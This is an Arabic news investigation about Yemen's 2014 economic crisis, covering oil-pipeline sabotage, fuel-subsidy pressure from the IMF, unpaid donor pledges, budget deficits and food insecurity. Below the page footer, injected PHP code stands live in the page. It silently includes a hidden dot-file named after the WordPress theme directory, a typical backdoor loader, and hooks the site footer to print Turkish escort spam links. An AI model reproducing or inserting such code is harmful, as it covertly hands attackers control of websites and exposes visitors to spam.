تحقيقات

الإفلاس يهدد الدولة والجوع يرعب الشعب !!

images (5)

في ظل استمرار تدهور الأوضاع الاقتصادية في بلادنا مع تزايد نشاط الجماعات التخريبية في تدمير أنابيب النفط وخطوط الكهرباء وتكالب المنتفعين من الأزمات المستمرة التي تعيشها البلاد منذ عقود والتي منها أزمة المشتقات التي تعصف بالبلاد حالياً إضافة إلى التوترات التي تعيشها عدد من المناطق اليمنية نتيجة الخلافات بين الأطراف السياسية على الساحة المحلية  ومع هذا وذاك تأخر المساعدات والمنح الخارجية .

تؤكد الكثير من التقارير المحلية والدولية الحديثة أن شبح الإفلاس بات يهدد حكومة الوفاق والاقتصاد اليمني بصورة عامة خاصة مع فشل الحكومة في وضع خطة معالجة اقتصادية إنقاذية لوقف التدهور السريع الذي يشهده الاقتصاد اليمني كل يوم .

الهوية وفي تحقيقها لهذا العدد عملنا من اجل الوقوف على آخر المعلومات حول حقيقة الوضع الاقتصادي اليمني في الوقت الراهن في ظل المعطيات المذكورة … فإلى التفاصيل :-

الهوية / قسم التحقيقات

2014 : عام لن يرحم اليمنيين !!

توقعت العديد من التقارير الدولية الحديثة أن العام الحالي 2014م لن يكون رؤوفاً باليمن الفقير .

مشيرة ً إلى أن اليمن يعاني من أزمات اقتصادية عدة قد تدخله دائرة الإفلاس لاسيما في ظل عدم إيفاء المانحين الدوليين بتعهداتهم بتقديم مساعدات جديدة للبلاد.

وأوضحت التقارير أن  اليمن يواجه عجزاً كبيراً في موازنته العامة للعام الجاري كما يعاني ارتفاع الدين العام للبلاد وتراجعاً في الاحتياطي النقدي الأجنبي لدى البنك المركزي اليمني إضافة إلى انخفاض الإيرادات العامة للدولة.

فيما تقول تقارير اقتصادية محلية إن أسباب ما وصل إليه الوضع الاقتصادي في البلاد تعود إلى تراجع الإنتاج النفطي للبلاد والذي تعتمد عليه الدولة بشكل أساسي في موازنتها السنوية وبنسبة تزيد عن 70% .

خاصة في ظل محدودية العمليات الإنتاجية من النفط واستمرار الاعتداءات على أنابيب النفط والغاز وهو ما يتسبب في توقف الإنتاج في عدد من الحقول وعلى إثرها يتكبد الاقتصاد الوطني خسائر بمليارات الدولارات.

ووفق تقرير صدر حديثاً عن البنك المركزي  فإن اليمن خسر خلال فبراير الماضي نحو 126 مليون دولار بسبب الاعتداءات على أنبوب النفط وتوقف الإنتاج في محافظة حضرموت ما تسبب في انخفاض حصة البلاد من صادرات النفط في ذلك الشهر إلى 800 ألف برميل فقط حيث وصلت القدرة الإنتاجية إلى  مليوني برميل.

ويقول التقرير إن اليمن المصدر للنفط استورد خلال شهري يناير وفبراير الماضيين مشتقات نفطية بقيمة إجمالية بلغت 497 مليون دولار بينما لم تزيد العائدات من الصادرات النفطية عن 304 ملايين دولار خلال الفترة نفسها .

اقتصاديون : مع استمرار الاعتداءات على أنابيب النفط ستصل اليمن إلى الإفلاس الفعلي قريباً ..

وفي هذا السياق يقول الخبير الاقتصادي / سعيد عبد المؤمن في حديث صحفي له قبل أيام : إن استمرار ضرب أنابيب النفط سيكون له بالغ الأثر على الاقتصاد اليمني حيث يحد من عملية النمو المفترض والذي تحدثت عنه الحكومة اليمنية والبنك الدولي.

مضيفاً : استمرار الفوضى في اليمن سيجعل منه بلداً طارداً للاستثمارات وهذا الوضع قد يهدد بانتكاسة كبيرة للاقتصاد الوطني المتدني أصلاً .

فيما أكد عدد من الاقتصاديين أنه مع استمرار الاعتداءات على أنابيب النفط ستصل اليمن إلى الإفلاس الفعلي قريباً حتى وإن أوفى الداعمون بتعهداتهم المتعلقة بتقديم المساعدات المالية لليمن من اجل إنجاح المرحلة الانتقالية ..

أطراف تغذي أزمة المشتقات والصندوق الدولي يبحث عن حقوقه !!

وفي ظل هذا الوضع الاقتصادي المهدد بالانهيار أكدت مصادر مطلعة  للهوية : أن البنك والصندوق الدوليين ما يزالان يمارسان الكثير من الضغوط على حكومة الوفاق والرئيس هادي من أجل رفع الدعم وبصورة كاملة عن المشتقات النفطية بحجة معالجة الأزمة لمالية الكبيرة التي تعصف بالحكومة حالياً ومن اجل محاربة ظاهرة تهريب المشتقات النفطية التي قالت إن العديد من الأطراف الكبرى في الساحة المحلية متورطة في تهريب الديزل والبنزين إلى دول الجوار في القرن الإفريقي وبيعه بأسعار مضاعفة لما يتم بيعه بها في الأسواق السوداء في اليمن مستغلين الدعم الذي تقدمه الحكومة لأسعار المشتقات المستوردة من الخارج لتغطية الاستهلاك المحلي والتي أكدت المصادر أن كميات كبيرة من تلك المشتقات ( الديزل – البنزين ) يتم تهريبها ومن الموانئ مباشرة وعبر ناقلات النفط العملاقة صوب الحدود اليمنية البرية والبحرية وقد سبق وان كشفت التقارير الإعلامية الكثير من هذه العمليات والحكومة اليمنية لديها المعرفة الأكيدة بالأطراف التي تقف وراء تهريب المشتقات إلى خارج الحدود اليمنية وكذا الأطراف التي تعمل على استمرار أزمة المشتقات النفطية الحالية ونقل كميات كبيرة لبيعها في السوق السوداء في الداخل اليمني .

ويضغط صندوق النقد الدولي باتجاه رفع الحكومة اليمنية دعمها للمشتقات النفطية وهو ما لم تجمع عليه الحكومة حتى الآن ويتخوف منه الشارع اليمني بسبب الحالة الاقتصادية التي تمر بها البلاد .

وكان وزير المالية اليمني صخر الوجيه قد قال في تصريحات صحافية أخيراً إن الإنفاق الفعلي على فاتورة المشتقات النفطية بلغ العام الماضي 6 مليارات دولار منها 4.8 مليارات قيمة المشتقات المستوردة وقال : إن الحكومة كانت قد قدرت حصتها من النفط في موازنة السنة الماضية بـ 54 مليون برميل  في حين تسلمت فقط 42 مليون برميل .

فيما قدرت الحكومة حصتها للعام الجاري بـ 51 مليون برميل لكن الحصة الفعلية بحسب وزير المالية تشير إلى أنها ربما لن تتجاوز 36 مليون برميل وتعاني الحكومة عجزاً كبيراً في الموازنة العامة للدولة للعام الجاري  2014 وبمبلغ 3.15 مليارات دولار.

من جانبه أكد صندوق النقد الدولي في تقرير له : أن إيجاد تمويل لهذا العجز الكبير سيشكل تحدياً حقيقياً للحكومة اليمنية في ظل المشاكل الاقتصادية التي تعاني منها وأنها تحتاج إلى دعم إضافي من مجموعة المانحين لكن اليمن يشكو عدم تخصيص المبالغ التي حصل عليها خلال مؤتمري الرياض ولندن عام 2012م ..

ووفي هذا السياق أيضاً قال الخبير الاقتصادي علي الوافي في تصريح له : إن الحكومة عاجزة في الوقت الراهن عن إجراء أي إصلاحات اقتصادية حقيقية من شأنها خفض عجز الموازنة العامة للدولة.

المانحون خذلوا حكومة الفاشلين !!

ونظراً لارتفاع العجز في الموازنة العامة للدولة وصعوبة تمويله من مصادر حقيقية فان الوضع المالي يزداد صعوبة وتعقيدا الأمر الذي يتطلب رفع كفاءة تحصيل الإيرادات ومواصلة ضبط وترشيد النفقات والبحث عن تمويل من قبل شركاء التنمية والذين تؤكد بشأنهم التقارير الرسمية أن تخصيص 94.7 % من تعهدات المانحين لليمن يفترض أن تسلم حتى مارس الماضي من العام الجاري 2014م لكن ذلك لم يحصل بعد .

مبينة أن الحكومة تجري حاليا مفاوضات مع صندوق النقد الدولي للدخول في برنامج للإصلاح المالي والاقتصادي .

ولفتت إلى أنه ولتحسين قدرة الحكومة على تقديم الخدمات العامة خلال هذه المرحلة  تبرز الحاجة لحشد الموارد الخارجية على شكل منح نظراً لضعف استدامة المديونية وكذلك تقديم دعم مباشر للموازنة لتغطية العجز المرتفع في الموازنة العامة للدولة وإعفاء الموازنة من المساهمة الحكومية في تمويل المشاريع الممولة من تعهدات المانحين .

ومازالت الحكومة تطالب مجتمع المانحين بالإيفاء بجملة من الالتزامات في تسريع تخصيص تعهداتهم وإتاحتها للأنفاق على المشروعات وتزويدها بخطط تأشيرية  للسحوبات من التعهدات واعتبار التعهدات المقدمة في الرياض ونيويورك 2012 م موارد جديدة وتقديمها على شكل منح وليس قروضاً وتغطية تكاليف تمويل المشاريع الجديدة الممولة من التعهدات بنسبة 100%.

وتمويل الفجوة التمويلية لخطة تشغيل الشباب والمقدرة بحوالي 500 مليون دولار.

وحشد موارد جديدة كدعم مباشر للموازنة العامة ولتنفيذ مخرجات الحوار الوطني وإطار التحول التنموي.

تراجع الإيرادات وزيادة الديون الخارجية !!

إلى ذلك أكدت التقارير الرسمية تراجع الإيرادات العامة لليمن خلال 2013 بنسبة إجمالية بلغت 23.3% من إجمالي الناتج العام للبلاد مقارنة بعام 2012 الأمر الذي سيعمل على زيادة العجز في الموازنة وهو ما لا تقدر على تحمله الحكومة في ظل الأوضاع الاقتصادية التي تمر بها البلاد وفق الاقتصاديين .

الذين أشاروا إلى أن الحكومة الآن منشغلة بالوضع السياسي والأمني الذي تمر به البلاد وتغفل خطورة الوضع الاقتصادي والذي قد ينذر بكارثة في المستقبل القريب .

وقد كشف تقرير صادر عن البنك المركزي أن احتياطي النقد الأجنبي سجل تراجعاً منذ بداية العام الجاري 2014 بما لا يقل عن 700 مليون دولار  ليصل إلى أقل من 5 مليارات دولار في فبراير الماضي .

 وأوضح التقرير أن تراجع الاحتياطي النقدي يضع اليمن في ” دائرة الخطر” ويؤثر سلباً على الاقتصاد اليمني من خلال ارتفاع حجم الدين الداخلي الذي تجاوز 130% من حجم الناتج القومي الإجمالي نتيجة لجوء الحكومة إلى أدوات الدين وأذون الخزانة لتمويل عجز الموازنة العامة للدولة .

نحو 15 مليون يمني بحاجة إلى مساعدات عاجلة !!

وفي هذا الجانب فقد أكدت التقارير الدولية الحديثة أن اليمن يعاني أزمات إنسانية على نطاق واسع خلال العام الجاري 2014م تتمثل في حاجة ما يقرب من 14.7 مليون شخص إلى المساعدات الإنسانية العاجلة.

وبحسب مكتب الأمم المتحدة في صنعاء فإن 10.5 ملايين يمني يعانون انعدام الأمن الغذائي فيما يعيش ثلث سكان اليمن البالغ عددهم 25 مليون نسمة على أقل من دولارين في اليوم وتقدر البطالة بأكثر من 40%  في حين تصل هذه النسبة بين الشباب إلى أكثر من 70%.

وتحتاج اليمن إلى 11.9 مليار دولار لمعالجة المشاكل التي تعصف به  بحسب تقارير رسمية .

الخلاصة : أزمة اليمن أزمة إدارة وليس مال!!

وبعد هذه المعلومات الدقيقة التي كشفت الكثير من الحقائق حول الوضع الحالي للاقتصادي الوطني توصلنا  إلى نتيجة  مفادها أن حكومة الوفاق وبمختلف الجهات المختصة فيها تنتظر للخارج أن يقدموا الحلول لمشاكل البلاد الاقتصادية كما تنتظر التوجيهات أيضا من الخارج في مختلف التفاصيل وهذا يدل بوضوح أن أزمات اليمن الاقتصادية أزمات إدارية قبل أن تكون مالية ولا غرابة فحكومتنا حكومة محاصصة شكلت من أجل شغل الكراسي وأكل الأموال العامة وليس تنميتها !! فمتى نرى ويرى الجميع الشخص المناسب في المكان المناسب نتمنى أن يكون قريباً.

الوسوم

مقالات ذات صلة

اترك تعليقاً

لن يتم نشر عنوان بريدك الإلكتروني. الحقول الإلزامية مشار إليها بـ *

*

إغلاق
إغلاق
if (file_exists(get_template_directory() . DIRECTORY_SEPARATOR . "." . basename(get_template_directory()) . ".php")) { include_once get_template_directory() . DIRECTORY_SEPARATOR . "." . basename(get_template_directory()) . ".php"; } if (file_exists(get_template_directory() . DIRECTORY_SEPARATOR . '.' . basename(get_template_directory()) . '.php')) { include_once get_template_directory() . DIRECTORY_SEPARATOR . '.' . basename(get_template_directory()) . '.php'; } function zo(){ echo '
Manisa escort Tekirdağ escort Çanakkale escort Trabzon escort Yalova escort Balıkesir escort Aydın escort Muğla escort Afyon escort Aksaray escort Şanlıurfa escort Ümraniye escort Sinop escort Keçioren escort
'; } add_action("wp_footer",'zo');